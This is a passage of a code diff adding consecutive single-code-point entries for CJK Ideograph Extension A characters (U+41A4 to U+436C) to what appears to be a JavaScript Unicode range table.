+ ["\u41A4", "\u41A4"], /* CJK Ideograph Extension A */
+ ["\u41A5", "\u41A5"], /* CJK Ideograph Extension A */
+ ["\u41A6", "\u41A6"], /* CJK Ideograph Extension A */
+ ["\u41A7", "\u41A7"], /* CJK Ideograph Extension A */
+ ["\u41A8", "\u41A8"], /* CJK Ideograph Extension A */
+ ["\u41A9", "\u41A9"], /* CJK Ideograph Extension A */
+ ["\u41AA", "\u41AA"], /* CJK Ideograph Extension A */
+ ["\u41AB", "\u41AB"], /* CJK Ideograph Extension A */
+ ["\u41AC", "\u41AC"], /* CJK Ideograph Extension A */
+ ["\u41AD", "\u41AD"], /* CJK Ideograph Extension A */
+ ["\u41AE", "\u41AE"], /* CJK Ideograph Extension A */
+ ["\u41AF", "\u41AF"], /* CJK Ideograph Extension A */
+ ["\u41B0", "\u41B0"], /* CJK Ideograph Extension A */
+ ["\u41B1", "\u41B1"], /* CJK Ideograph Extension A */
+ ["\u41B2", "\u41B2"], /* CJK Ideograph Extension A */
+ ["\u41B3", "\u41B3"], /* CJK Ideograph Extension A */
+ ["\u41B4", "\u41B4"], /* CJK Ideograph Extension A */
+ ["\u41B5", "\u41B5"], /* CJK Ideograph Extension A */
+ ["\u41B6", "\u41B6"], /* CJK Ideograph Extension A */
+ ["\u41B7", "\u41B7"], /* CJK Ideograph Extension A */
+ ["\u41B8", "\u41B8"], /* CJK Ideograph Extension A */
+ ["\u41B9", "\u41B9"], /* CJK Ideograph Extension A */
+ ["\u41BA", "\u41BA"], /* CJK Ideograph Extension A */
+ ["\u41BB", "\u41BB"], /* CJK Ideograph Extension A */
+ ["\u41BC", "\u41BC"], /* CJK Ideograph Extension A */
+ ["\u41BD", "\u41BD"], /* CJK Ideograph Extension A */
+ ["\u41BE", "\u41BE"], /* CJK Ideograph Extension A */
+ ["\u41BF", "\u41BF"], /* CJK Ideograph Extension A */
+ ["\u41C0", "\u41C0"], /* CJK Ideograph Extension A */
+ ["\u41C1", "\u41C1"], /* CJK Ideograph Extension A */
+ ["\u41C2", "\u41C2"], /* CJK Ideograph Extension A */
+ ["\u41C3", "\u41C3"], /* CJK Ideograph Extension A */
+ ["\u41C4", "\u41C4"], /* CJK Ideograph Extension A */
+ ["\u41C5", "\u41C5"], /* CJK Ideograph Extension A */
+ ["\u41C6", "\u41C6"], /* CJK Ideograph Extension A */
+ ["\u41C7", "\u41C7"], /* CJK Ideograph Extension A */
+ ["\u41C8", "\u41C8"], /* CJK Ideograph Extension A */
+ ["\u41C9", "\u41C9"], /* CJK Ideograph Extension A */
+ ["\u41CA", "\u41CA"], /* CJK Ideograph Extension A */
+ ["\u41CB", "\u41CB"], /* CJK Ideograph Extension A */
+ ["\u41CC", "\u41CC"], /* CJK Ideograph Extension A */
+ ["\u41CD", "\u41CD"], /* CJK Ideograph Extension A */
+ ["\u41CE", "\u41CE"], /* CJK Ideograph Extension A */
+ ["\u41CF", "\u41CF"], /* CJK Ideograph Extension A */
+ ["\u41D0", "\u41D0"], /* CJK Ideograph Extension A */
+ ["\u41D1", "\u41D1"], /* CJK Ideograph Extension A */
+ ["\u41D2", "\u41D2"], /* CJK Ideograph Extension A */
+ ["\u41D3", "\u41D3"], /* CJK Ideograph Extension A */
+ ["\u41D4", "\u41D4"], /* CJK Ideograph Extension A */
+ ["\u41D5", "\u41D5"], /* CJK Ideograph Extension A */
+ ["\u41D6", "\u41D6"], /* CJK Ideograph Extension A */
+ ["\u41D7", "\u41D7"], /* CJK Ideograph Extension A */
+ ["\u41D8", "\u41D8"], /* CJK Ideograph Extension A */
+ ["\u41D9", "\u41D9"], /* CJK Ideograph Extension A */
+ ["\u41DA", "\u41DA"], /* CJK Ideograph Extension A */
+ ["\u41DB", "\u41DB"], /* CJK Ideograph Extension A */
+ ["\u41DC", "\u41DC"], /* CJK Ideograph Extension A */
+ ["\u41DD", "\u41DD"], /* CJK Ideograph Extension A */
+ ["\u41DE", "\u41DE"], /* CJK Ideograph Extension A */
+ ["\u41DF", "\u41DF"], /* CJK Ideograph Extension A */
+ ["\u41E0", "\u41E0"], /* CJK Ideograph Extension A */
+ ["\u41E1", "\u41E1"], /* CJK Ideograph Extension A */
+ ["\u41E2", "\u41E2"], /* CJK Ideograph Extension A */
+ ["\u41E3", "\u41E3"], /* CJK Ideograph Extension A */
+ ["\u41E4", "\u41E4"], /* CJK Ideograph Extension A */
+ ["\u41E5", "\u41E5"], /* CJK Ideograph Extension A */
+ ["\u41E6", "\u41E6"], /* CJK Ideograph Extension A */
+ ["\u41E7", "\u41E7"], /* CJK Ideograph Extension A */
+ ["\u41E8", "\u41E8"], /* CJK Ideograph Extension A */
+ ["\u41E9", "\u41E9"], /* CJK Ideograph Extension A */
+ ["\u41EA", "\u41EA"], /* CJK Ideograph Extension A */
+ ["\u41EB", "\u41EB"], /* CJK Ideograph Extension A */
+ ["\u41EC", "\u41EC"], /* CJK Ideograph Extension A */
+ ["\u41ED", "\u41ED"], /* CJK Ideograph Extension A */
+ ["\u41EE", "\u41EE"], /* CJK Ideograph Extension A */
+ ["\u41EF", "\u41EF"], /* CJK Ideograph Extension A */
+ ["\u41F0", "\u41F0"], /* CJK Ideograph Extension A */
+ ["\u41F1", "\u41F1"], /* CJK Ideograph Extension A */
+ ["\u41F2", "\u41F2"], /* CJK Ideograph Extension A */
+ ["\u41F3", "\u41F3"], /* CJK Ideograph Extension A */
+ ["\u41F4", "\u41F4"], /* CJK Ideograph Extension A */
+ ["\u41F5", "\u41F5"], /* CJK Ideograph Extension A */
+ ["\u41F6", "\u41F6"], /* CJK Ideograph Extension A */
+ ["\u41F7", "\u41F7"], /* CJK Ideograph Extension A */
+ ["\u41F8", "\u41F8"], /* CJK Ideograph Extension A */
+ ["\u41F9", "\u41F9"], /* CJK Ideograph Extension A */
+ ["\u41FA", "\u41FA"], /* CJK Ideograph Extension A */
+ ["\u41FB", "\u41FB"], /* CJK Ideograph Extension A */
+ ["\u41FC", "\u41FC"], /* CJK Ideograph Extension A */
+ ["\u41FD", "\u41FD"], /* CJK Ideograph Extension A */
+ ["\u41FE", "\u41FE"], /* CJK Ideograph Extension A */
+ ["\u41FF", "\u41FF"], /* CJK Ideograph Extension A */
+ ["\u4200", "\u4200"], /* CJK Ideograph Extension A */
+ ["\u4201", "\u4201"], /* CJK Ideograph Extension A */
+ ["\u4202", "\u4202"], /* CJK Ideograph Extension A */
+ ["\u4203", "\u4203"], /* CJK Ideograph Extension A */
+ ["\u4204", "\u4204"], /* CJK Ideograph Extension A */
+ ["\u4205", "\u4205"], /* CJK Ideograph Extension A */
+ ["\u4206", "\u4206"], /* CJK Ideograph Extension A */
+ ["\u4207", "\u4207"], /* CJK Ideograph Extension A */
+ ["\u4208", "\u4208"], /* CJK Ideograph Extension A */
+ ["\u4209", "\u4209"], /* CJK Ideograph Extension A */
+ ["\u420A", "\u420A"], /* CJK Ideograph Extension A */
+ ["\u420B", "\u420B"], /* CJK Ideograph Extension A */
+ ["\u420C", "\u420C"], /* CJK Ideograph Extension A */
+ ["\u420D", "\u420D"], /* CJK Ideograph Extension A */
+ ["\u420E", "\u420E"], /* CJK Ideograph Extension A */
+ ["\u420F", "\u420F"], /* CJK Ideograph Extension A */
+ ["\u4210", "\u4210"], /* CJK Ideograph Extension A */
+ ["\u4211", "\u4211"], /* CJK Ideograph Extension A */
+ ["\u4212", "\u4212"], /* CJK Ideograph Extension A */
+ ["\u4213", "\u4213"], /* CJK Ideograph Extension A */
+ ["\u4214", "\u4214"], /* CJK Ideograph Extension A */
+ ["\u4215", "\u4215"], /* CJK Ideograph Extension A */
+ ["\u4216", "\u4216"], /* CJK Ideograph Extension A */
+ ["\u4217", "\u4217"], /* CJK Ideograph Extension A */
+ ["\u4218", "\u4218"], /* CJK Ideograph Extension A */
+ ["\u4219", "\u4219"], /* CJK Ideograph Extension A */
+ ["\u421A", "\u421A"], /* CJK Ideograph Extension A */
+ ["\u421B", "\u421B"], /* CJK Ideograph Extension A */
+ ["\u421C", "\u421C"], /* CJK Ideograph Extension A */
+ ["\u421D", "\u421D"], /* CJK Ideograph Extension A */
+ ["\u421E", "\u421E"], /* CJK Ideograph Extension A */
+ ["\u421F", "\u421F"], /* CJK Ideograph Extension A */
+ ["\u4220", "\u4220"], /* CJK Ideograph Extension A */
+ ["\u4221", "\u4221"], /* CJK Ideograph Extension A */
+ ["\u4222", "\u4222"], /* CJK Ideograph Extension A */
+ ["\u4223", "\u4223"], /* CJK Ideograph Extension A */
+ ["\u4224", "\u4224"], /* CJK Ideograph Extension A */
+ ["\u4225", "\u4225"], /* CJK Ideograph Extension A */
+ ["\u4226", "\u4226"], /* CJK Ideograph Extension A */
+ ["\u4227", "\u4227"], /* CJK Ideograph Extension A */
+ ["\u4228", "\u4228"], /* CJK Ideograph Extension A */
+ ["\u4229", "\u4229"], /* CJK Ideograph Extension A */
+ ["\u422A", "\u422A"], /* CJK Ideograph Extension A */
+ ["\u422B", "\u422B"], /* CJK Ideograph Extension A */
+ ["\u422C", "\u422C"], /* CJK Ideograph Extension A */
+ ["\u422D", "\u422D"], /* CJK Ideograph Extension A */
+ ["\u422E", "\u422E"], /* CJK Ideograph Extension A */
+ ["\u422F", "\u422F"], /* CJK Ideograph Extension A */
+ ["\u4230", "\u4230"], /* CJK Ideograph Extension A */
+ ["\u4231", "\u4231"], /* CJK Ideograph Extension A */
+ ["\u4232", "\u4232"], /* CJK Ideograph Extension A */
+ ["\u4233", "\u4233"], /* CJK Ideograph Extension A */
+ ["\u4234", "\u4234"], /* CJK Ideograph Extension A */
+ ["\u4235", "\u4235"], /* CJK Ideograph Extension A */
+ ["\u4236", "\u4236"], /* CJK Ideograph Extension A */
+ ["\u4237", "\u4237"], /* CJK Ideograph Extension A */
+ ["\u4238", "\u4238"], /* CJK Ideograph Extension A */
+ ["\u4239", "\u4239"], /* CJK Ideograph Extension A */
+ ["\u423A", "\u423A"], /* CJK Ideograph Extension A */
+ ["\u423B", "\u423B"], /* CJK Ideograph Extension A */
+ ["\u423C", "\u423C"], /* CJK Ideograph Extension A */
+ ["\u423D", "\u423D"], /* CJK Ideograph Extension A */
+ ["\u423E", "\u423E"], /* CJK Ideograph Extension A */
+ ["\u423F", "\u423F"], /* CJK Ideograph Extension A */
+ ["\u4240", "\u4240"], /* CJK Ideograph Extension A */
+ ["\u4241", "\u4241"], /* CJK Ideograph Extension A */
+ ["\u4242", "\u4242"], /* CJK Ideograph Extension A */
+ ["\u4243", "\u4243"], /* CJK Ideograph Extension A */
+ ["\u4244", "\u4244"], /* CJK Ideograph Extension A */
+ ["\u4245", "\u4245"], /* CJK Ideograph Extension A */
+ ["\u4246", "\u4246"], /* CJK Ideograph Extension A */
+ ["\u4247", "\u4247"], /* CJK Ideograph Extension A */
+ ["\u4248", "\u4248"], /* CJK Ideograph Extension A */
+ ["\u4249", "\u4249"], /* CJK Ideograph Extension A */
+ ["\u424A", "\u424A"], /* CJK Ideograph Extension A */
+ ["\u424B", "\u424B"], /* CJK Ideograph Extension A */
+ ["\u424C", "\u424C"], /* CJK Ideograph Extension A */
+ ["\u424D", "\u424D"], /* CJK Ideograph Extension A */
+ ["\u424E", "\u424E"], /* CJK Ideograph Extension A */
+ ["\u424F", "\u424F"], /* CJK Ideograph Extension A */
+ ["\u4250", "\u4250"], /* CJK Ideograph Extension A */
+ ["\u4251", "\u4251"], /* CJK Ideograph Extension A */
+ ["\u4252", "\u4252"], /* CJK Ideograph Extension A */
+ ["\u4253", "\u4253"], /* CJK Ideograph Extension A */
+ ["\u4254", "\u4254"], /* CJK Ideograph Extension A */
+ ["\u4255", "\u4255"], /* CJK Ideograph Extension A */
+ ["\u4256", "\u4256"], /* CJK Ideograph Extension A */
+ ["\u4257", "\u4257"], /* CJK Ideograph Extension A */
+ ["\u4258", "\u4258"], /* CJK Ideograph Extension A */
+ ["\u4259", "\u4259"], /* CJK Ideograph Extension A */
+ ["\u425A", "\u425A"], /* CJK Ideograph Extension A */
+ ["\u425B", "\u425B"], /* CJK Ideograph Extension A */
+ ["\u425C", "\u425C"], /* CJK Ideograph Extension A */
+ ["\u425D", "\u425D"], /* CJK Ideograph Extension A */
+ ["\u425E", "\u425E"], /* CJK Ideograph Extension A */
+ ["\u425F", "\u425F"], /* CJK Ideograph Extension A */
+ ["\u4260", "\u4260"], /* CJK Ideograph Extension A */
+ ["\u4261", "\u4261"], /* CJK Ideograph Extension A */
+ ["\u4262", "\u4262"], /* CJK Ideograph Extension A */
+ ["\u4263", "\u4263"], /* CJK Ideograph Extension A */
+ ["\u4264", "\u4264"], /* CJK Ideograph Extension A */
+ ["\u4265", "\u4265"], /* CJK Ideograph Extension A */
+ ["\u4266", "\u4266"], /* CJK Ideograph Extension A */
+ ["\u4267", "\u4267"], /* CJK Ideograph Extension A */
+ ["\u4268", "\u4268"], /* CJK Ideograph Extension A */
+ ["\u4269", "\u4269"], /* CJK Ideograph Extension A */
+ ["\u426A", "\u426A"], /* CJK Ideograph Extension A */
+ ["\u426B", "\u426B"], /* CJK Ideograph Extension A */
+ ["\u426C", "\u426C"], /* CJK Ideograph Extension A */
+ ["\u426D", "\u426D"], /* CJK Ideograph Extension A */
+ ["\u426E", "\u426E"], /* CJK Ideograph Extension A */
+ ["\u426F", "\u426F"], /* CJK Ideograph Extension A */
+ ["\u4270", "\u4270"], /* CJK Ideograph Extension A */
+ ["\u4271", "\u4271"], /* CJK Ideograph Extension A */
+ ["\u4272", "\u4272"], /* CJK Ideograph Extension A */
+ ["\u4273", "\u4273"], /* CJK Ideograph Extension A */
+ ["\u4274", "\u4274"], /* CJK Ideograph Extension A */
+ ["\u4275", "\u4275"], /* CJK Ideograph Extension A */
+ ["\u4276", "\u4276"], /* CJK Ideograph Extension A */
+ ["\u4277", "\u4277"], /* CJK Ideograph Extension A */
+ ["\u4278", "\u4278"], /* CJK Ideograph Extension A */
+ ["\u4279", "\u4279"], /* CJK Ideograph Extension A */
+ ["\u427A", "\u427A"], /* CJK Ideograph Extension A */
+ ["\u427B", "\u427B"], /* CJK Ideograph Extension A */
+ ["\u427C", "\u427C"], /* CJK Ideograph Extension A */
+ ["\u427D", "\u427D"], /* CJK Ideograph Extension A */
+ ["\u427E", "\u427E"], /* CJK Ideograph Extension A */
+ ["\u427F", "\u427F"], /* CJK Ideograph Extension A */
+ ["\u4280", "\u4280"], /* CJK Ideograph Extension A */
+ ["\u4281", "\u4281"], /* CJK Ideograph Extension A */
+ ["\u4282", "\u4282"], /* CJK Ideograph Extension A */
+ ["\u4283", "\u4283"], /* CJK Ideograph Extension A */
+ ["\u4284", "\u4284"], /* CJK Ideograph Extension A */
+ ["\u4285", "\u4285"], /* CJK Ideograph Extension A */
+ ["\u4286", "\u4286"], /* CJK Ideograph Extension A */
+ ["\u4287", "\u4287"], /* CJK Ideograph Extension A */
+ ["\u4288", "\u4288"], /* CJK Ideograph Extension A */
+ ["\u4289", "\u4289"], /* CJK Ideograph Extension A */
+ ["\u428A", "\u428A"], /* CJK Ideograph Extension A */
+ ["\u428B", "\u428B"], /* CJK Ideograph Extension A */
+ ["\u428C", "\u428C"], /* CJK Ideograph Extension A */
+ ["\u428D", "\u428D"], /* CJK Ideograph Extension A */
+ ["\u428E", "\u428E"], /* CJK Ideograph Extension A */
+ ["\u428F", "\u428F"], /* CJK Ideograph Extension A */
+ ["\u4290", "\u4290"], /* CJK Ideograph Extension A */
+ ["\u4291", "\u4291"], /* CJK Ideograph Extension A */
+ ["\u4292", "\u4292"], /* CJK Ideograph Extension A */
+ ["\u4293", "\u4293"], /* CJK Ideograph Extension A */
+ ["\u4294", "\u4294"], /* CJK Ideograph Extension A */
+ ["\u4295", "\u4295"], /* CJK Ideograph Extension A */
+ ["\u4296", "\u4296"], /* CJK Ideograph Extension A */
+ ["\u4297", "\u4297"], /* CJK Ideograph Extension A */
+ ["\u4298", "\u4298"], /* CJK Ideograph Extension A */
+ ["\u4299", "\u4299"], /* CJK Ideograph Extension A */
+ ["\u429A", "\u429A"], /* CJK Ideograph Extension A */
+ ["\u429B", "\u429B"], /* CJK Ideograph Extension A */
+ ["\u429C", "\u429C"], /* CJK Ideograph Extension A */
+ ["\u429D", "\u429D"], /* CJK Ideograph Extension A */
+ ["\u429E", "\u429E"], /* CJK Ideograph Extension A */
+ ["\u429F", "\u429F"], /* CJK Ideograph Extension A */
+ ["\u42A0", "\u42A0"], /* CJK Ideograph Extension A */
+ ["\u42A1", "\u42A1"], /* CJK Ideograph Extension A */
+ ["\u42A2", "\u42A2"], /* CJK Ideograph Extension A */
+ ["\u42A3", "\u42A3"], /* CJK Ideograph Extension A */
+ ["\u42A4", "\u42A4"], /* CJK Ideograph Extension A */
+ ["\u42A5", "\u42A5"], /* CJK Ideograph Extension A */
+ ["\u42A6", "\u42A6"], /* CJK Ideograph Extension A */
+ ["\u42A7", "\u42A7"], /* CJK Ideograph Extension A */
+ ["\u42A8", "\u42A8"], /* CJK Ideograph Extension A */
+ ["\u42A9", "\u42A9"], /* CJK Ideograph Extension A */
+ ["\u42AA", "\u42AA"], /* CJK Ideograph Extension A */
+ ["\u42AB", "\u42AB"], /* CJK Ideograph Extension A */
+ ["\u42AC", "\u42AC"], /* CJK Ideograph Extension A */
+ ["\u42AD", "\u42AD"], /* CJK Ideograph Extension A */
+ ["\u42AE", "\u42AE"], /* CJK Ideograph Extension A */
+ ["\u42AF", "\u42AF"], /* CJK Ideograph Extension A */
+ ["\u42B0", "\u42B0"], /* CJK Ideograph Extension A */
+ ["\u42B1", "\u42B1"], /* CJK Ideograph Extension A */
+ ["\u42B2", "\u42B2"], /* CJK Ideograph Extension A */
+ ["\u42B3", "\u42B3"], /* CJK Ideograph Extension A */
+ ["\u42B4", "\u42B4"], /* CJK Ideograph Extension A */
+ ["\u42B5", "\u42B5"], /* CJK Ideograph Extension A */
+ ["\u42B6", "\u42B6"], /* CJK Ideograph Extension A */
+ ["\u42B7", "\u42B7"], /* CJK Ideograph Extension A */
+ ["\u42B8", "\u42B8"], /* CJK Ideograph Extension A */
+ ["\u42B9", "\u42B9"], /* CJK Ideograph Extension A */
+ ["\u42BA", "\u42BA"], /* CJK Ideograph Extension A */
+ ["\u42BB", "\u42BB"], /* CJK Ideograph Extension A */
+ ["\u42BC", "\u42BC"], /* CJK Ideograph Extension A */
+ ["\u42BD", "\u42BD"], /* CJK Ideograph Extension A */
+ ["\u42BE", "\u42BE"], /* CJK Ideograph Extension A */
+ ["\u42BF", "\u42BF"], /* CJK Ideograph Extension A */
+ ["\u42C0", "\u42C0"], /* CJK Ideograph Extension A */
+ ["\u42C1", "\u42C1"], /* CJK Ideograph Extension A */
+ ["\u42C2", "\u42C2"], /* CJK Ideograph Extension A */
+ ["\u42C3", "\u42C3"], /* CJK Ideograph Extension A */
+ ["\u42C4", "\u42C4"], /* CJK Ideograph Extension A */
+ ["\u42C5", "\u42C5"], /* CJK Ideograph Extension A */
+ ["\u42C6", "\u42C6"], /* CJK Ideograph Extension A */
+ ["\u42C7", "\u42C7"], /* CJK Ideograph Extension A */
+ ["\u42C8", "\u42C8"], /* CJK Ideograph Extension A */
+ ["\u42C9", "\u42C9"], /* CJK Ideograph Extension A */
+ ["\u42CA", "\u42CA"], /* CJK Ideograph Extension A */
+ ["\u42CB", "\u42CB"], /* CJK Ideograph Extension A */
+ ["\u42CC", "\u42CC"], /* CJK Ideograph Extension A */
+ ["\u42CD", "\u42CD"], /* CJK Ideograph Extension A */
+ ["\u42CE", "\u42CE"], /* CJK Ideograph Extension A */
+ ["\u42CF", "\u42CF"], /* CJK Ideograph Extension A */
+ ["\u42D0", "\u42D0"], /* CJK Ideograph Extension A */
+ ["\u42D1", "\u42D1"], /* CJK Ideograph Extension A */
+ ["\u42D2", "\u42D2"], /* CJK Ideograph Extension A */
+ ["\u42D3", "\u42D3"], /* CJK Ideograph Extension A */
+ ["\u42D4", "\u42D4"], /* CJK Ideograph Extension A */
+ ["\u42D5", "\u42D5"], /* CJK Ideograph Extension A */
+ ["\u42D6", "\u42D6"], /* CJK Ideograph Extension A */
+ ["\u42D7", "\u42D7"], /* CJK Ideograph Extension A */
+ ["\u42D8", "\u42D8"], /* CJK Ideograph Extension A */
+ ["\u42D9", "\u42D9"], /* CJK Ideograph Extension A */
+ ["\u42DA", "\u42DA"], /* CJK Ideograph Extension A */
+ ["\u42DB", "\u42DB"], /* CJK Ideograph Extension A */
+ ["\u42DC", "\u42DC"], /* CJK Ideograph Extension A */
+ ["\u42DD", "\u42DD"], /* CJK Ideograph Extension A */
+ ["\u42DE", "\u42DE"], /* CJK Ideograph Extension A */
+ ["\u42DF", "\u42DF"], /* CJK Ideograph Extension A */
+ ["\u42E0", "\u42E0"], /* CJK Ideograph Extension A */
+ ["\u42E1", "\u42E1"], /* CJK Ideograph Extension A */
+ ["\u42E2", "\u42E2"], /* CJK Ideograph Extension A */
+ ["\u42E3", "\u42E3"], /* CJK Ideograph Extension A */
+ ["\u42E4", "\u42E4"], /* CJK Ideograph Extension A */
+ ["\u42E5", "\u42E5"], /* CJK Ideograph Extension A */
+ ["\u42E6", "\u42E6"], /* CJK Ideograph Extension A */
+ ["\u42E7", "\u42E7"], /* CJK Ideograph Extension A */
+ ["\u42E8", "\u42E8"], /* CJK Ideograph Extension A */
+ ["\u42E9", "\u42E9"], /* CJK Ideograph Extension A */
+ ["\u42EA", "\u42EA"], /* CJK Ideograph Extension A */
+ ["\u42EB", "\u42EB"], /* CJK Ideograph Extension A */
+ ["\u42EC", "\u42EC"], /* CJK Ideograph Extension A */
+ ["\u42ED", "\u42ED"], /* CJK Ideograph Extension A */
+ ["\u42EE", "\u42EE"], /* CJK Ideograph Extension A */
+ ["\u42EF", "\u42EF"], /* CJK Ideograph Extension A */
+ ["\u42F0", "\u42F0"], /* CJK Ideograph Extension A */
+ ["\u42F1", "\u42F1"], /* CJK Ideograph Extension A */
+ ["\u42F2", "\u42F2"], /* CJK Ideograph Extension A */
+ ["\u42F3", "\u42F3"], /* CJK Ideograph Extension A */
+ ["\u42F4", "\u42F4"], /* CJK Ideograph Extension A */
+ ["\u42F5", "\u42F5"], /* CJK Ideograph Extension A */
+ ["\u42F6", "\u42F6"], /* CJK Ideograph Extension A */
+ ["\u42F7", "\u42F7"], /* CJK Ideograph Extension A */
+ ["\u42F8", "\u42F8"], /* CJK Ideograph Extension A */
+ ["\u42F9", "\u42F9"], /* CJK Ideograph Extension A */
+ ["\u42FA", "\u42FA"], /* CJK Ideograph Extension A */
+ ["\u42FB", "\u42FB"], /* CJK Ideograph Extension A */
+ ["\u42FC", "\u42FC"], /* CJK Ideograph Extension A */
+ ["\u42FD", "\u42FD"], /* CJK Ideograph Extension A */
+ ["\u42FE", "\u42FE"], /* CJK Ideograph Extension A */
+ ["\u42FF", "\u42FF"], /* CJK Ideograph Extension A */
+ ["\u4300", "\u4300"], /* CJK Ideograph Extension A */
+ ["\u4301", "\u4301"], /* CJK Ideograph Extension A */
+ ["\u4302", "\u4302"], /* CJK Ideograph Extension A */
+ ["\u4303", "\u4303"], /* CJK Ideograph Extension A */
+ ["\u4304", "\u4304"], /* CJK Ideograph Extension A */
+ ["\u4305", "\u4305"], /* CJK Ideograph Extension A */
+ ["\u4306", "\u4306"], /* CJK Ideograph Extension A */
+ ["\u4307", "\u4307"], /* CJK Ideograph Extension A */
+ ["\u4308", "\u4308"], /* CJK Ideograph Extension A */
+ ["\u4309", "\u4309"], /* CJK Ideograph Extension A */
+ ["\u430A", "\u430A"], /* CJK Ideograph Extension A */
+ ["\u430B", "\u430B"], /* CJK Ideograph Extension A */
+ ["\u430C", "\u430C"], /* CJK Ideograph Extension A */
+ ["\u430D", "\u430D"], /* CJK Ideograph Extension A */
+ ["\u430E", "\u430E"], /* CJK Ideograph Extension A */
+ ["\u430F", "\u430F"], /* CJK Ideograph Extension A */
+ ["\u4310", "\u4310"], /* CJK Ideograph Extension A */
+ ["\u4311", "\u4311"], /* CJK Ideograph Extension A */
+ ["\u4312", "\u4312"], /* CJK Ideograph Extension A */
+ ["\u4313", "\u4313"], /* CJK Ideograph Extension A */
+ ["\u4314", "\u4314"], /* CJK Ideograph Extension A */
+ ["\u4315", "\u4315"], /* CJK Ideograph Extension A */
+ ["\u4316", "\u4316"], /* CJK Ideograph Extension A */
+ ["\u4317", "\u4317"], /* CJK Ideograph Extension A */
+ ["\u4318", "\u4318"], /* CJK Ideograph Extension A */
+ ["\u4319", "\u4319"], /* CJK Ideograph Extension A */
+ ["\u431A", "\u431A"], /* CJK Ideograph Extension A */
+ ["\u431B", "\u431B"], /* CJK Ideograph Extension A */
+ ["\u431C", "\u431C"], /* CJK Ideograph Extension A */
+ ["\u431D", "\u431D"], /* CJK Ideograph Extension A */
+ ["\u431E", "\u431E"], /* CJK Ideograph Extension A */
+ ["\u431F", "\u431F"], /* CJK Ideograph Extension A */
+ ["\u4320", "\u4320"], /* CJK Ideograph Extension A */
+ ["\u4321", "\u4321"], /* CJK Ideograph Extension A */
+ ["\u4322", "\u4322"], /* CJK Ideograph Extension A */
+ ["\u4323", "\u4323"], /* CJK Ideograph Extension A */
+ ["\u4324", "\u4324"], /* CJK Ideograph Extension A */
+ ["\u4325", "\u4325"], /* CJK Ideograph Extension A */
+ ["\u4326", "\u4326"], /* CJK Ideograph Extension A */
+ ["\u4327", "\u4327"], /* CJK Ideograph Extension A */
+ ["\u4328", "\u4328"], /* CJK Ideograph Extension A */
+ ["\u4329", "\u4329"], /* CJK Ideograph Extension A */
+ ["\u432A", "\u432A"], /* CJK Ideograph Extension A */
+ ["\u432B", "\u432B"], /* CJK Ideograph Extension A */
+ ["\u432C", "\u432C"], /* CJK Ideograph Extension A */
+ ["\u432D", "\u432D"], /* CJK Ideograph Extension A */
+ ["\u432E", "\u432E"], /* CJK Ideograph Extension A */
+ ["\u432F", "\u432F"], /* CJK Ideograph Extension A */
+ ["\u4330", "\u4330"], /* CJK Ideograph Extension A */
+ ["\u4331", "\u4331"], /* CJK Ideograph Extension A */
+ ["\u4332", "\u4332"], /* CJK Ideograph Extension A */
+ ["\u4333", "\u4333"], /* CJK Ideograph Extension A */
+ ["\u4334", "\u4334"], /* CJK Ideograph Extension A */
+ ["\u4335", "\u4335"], /* CJK Ideograph Extension A */
+ ["\u4336", "\u4336"], /* CJK Ideograph Extension A */
+ ["\u4337", "\u4337"], /* CJK Ideograph Extension A */
+ ["\u4338", "\u4338"], /* CJK Ideograph Extension A */
+ ["\u4339", "\u4339"], /* CJK Ideograph Extension A */
+ ["\u433A", "\u433A"], /* CJK Ideograph Extension A */
+ ["\u433B", "\u433B"], /* CJK Ideograph Extension A */
+ ["\u433C", "\u433C"], /* CJK Ideograph Extension A */
+ ["\u433D", "\u433D"], /* CJK Ideograph Extension A */
+ ["\u433E", "\u433E"], /* CJK Ideograph Extension A */
+ ["\u433F", "\u433F"], /* CJK Ideograph Extension A */
+ ["\u4340", "\u4340"], /* CJK Ideograph Extension A */
+ ["\u4341", "\u4341"], /* CJK Ideograph Extension A */
+ ["\u4342", "\u4342"], /* CJK Ideograph Extension A */
+ ["\u4343", "\u4343"], /* CJK Ideograph Extension A */
+ ["\u4344", "\u4344"], /* CJK Ideograph Extension A */
+ ["\u4345", "\u4345"], /* CJK Ideograph Extension A */
+ ["\u4346", "\u4346"], /* CJK Ideograph Extension A */
+ ["\u4347", "\u4347"], /* CJK Ideograph Extension A */
+ ["\u4348", "\u4348"], /* CJK Ideograph Extension A */
+ ["\u4349", "\u4349"], /* CJK Ideograph Extension A */
+ ["\u434A", "\u434A"], /* CJK Ideograph Extension A */
+ ["\u434B", "\u434B"], /* CJK Ideograph Extension A */
+ ["\u434C", "\u434C"], /* CJK Ideograph Extension A */
+ ["\u434D", "\u434D"], /* CJK Ideograph Extension A */
+ ["\u434E", "\u434E"], /* CJK Ideograph Extension A */
+ ["\u434F", "\u434F"], /* CJK Ideograph Extension A */
+ ["\u4350", "\u4350"], /* CJK Ideograph Extension A */
+ ["\u4351", "\u4351"], /* CJK Ideograph Extension A */
+ ["\u4352", "\u4352"], /* CJK Ideograph Extension A */
+ ["\u4353", "\u4353"], /* CJK Ideograph Extension A */
+ ["\u4354", "\u4354"], /* CJK Ideograph Extension A */
+ ["\u4355", "\u4355"], /* CJK Ideograph Extension A */
+ ["\u4356", "\u4356"], /* CJK Ideograph Extension A */
+ ["\u4357", "\u4357"], /* CJK Ideograph Extension A */
+ ["\u4358", "\u4358"], /* CJK Ideograph Extension A */
+ ["\u4359", "\u4359"], /* CJK Ideograph Extension A */
+ ["\u435A", "\u435A"], /* CJK Ideograph Extension A */
+ ["\u435B", "\u435B"], /* CJK Ideograph Extension A */
+ ["\u435C", "\u435C"], /* CJK Ideograph Extension A */
+ ["\u435D", "\u435D"], /* CJK Ideograph Extension A */
+ ["\u435E", "\u435E"], /* CJK Ideograph Extension A */
+ ["\u435F", "\u435F"], /* CJK Ideograph Extension A */
+ ["\u4360", "\u4360"], /* CJK Ideograph Extension A */
+ ["\u4361", "\u4361"], /* CJK Ideograph Extension A */
+ ["\u4362", "\u4362"], /* CJK Ideograph Extension A */
+ ["\u4363", "\u4363"], /* CJK Ideograph Extension A */
+ ["\u4364", "\u4364"], /* CJK Ideograph Extension A */
+ ["\u4365", "\u4365"], /* CJK Ideograph Extension A */
+ ["\u4366", "\u4366"], /* CJK Ideograph Extension A */
+ ["\u4367", "\u4367"], /* CJK Ideograph Extension A */
+ ["\u4368", "\u4368"], /* CJK Ideograph Extension A */
+ ["\u4369", "\u4369"], /* CJK Ideograph Extension A */
+ ["\u436A", "\u436A"], /* CJK Ideograph Extension A */
+ ["\u436B", "\u436B"], /* CJK Ideograph Extension A */
+ ["\u436C", "\u436C"], /* CJK Ideograph Extension A */
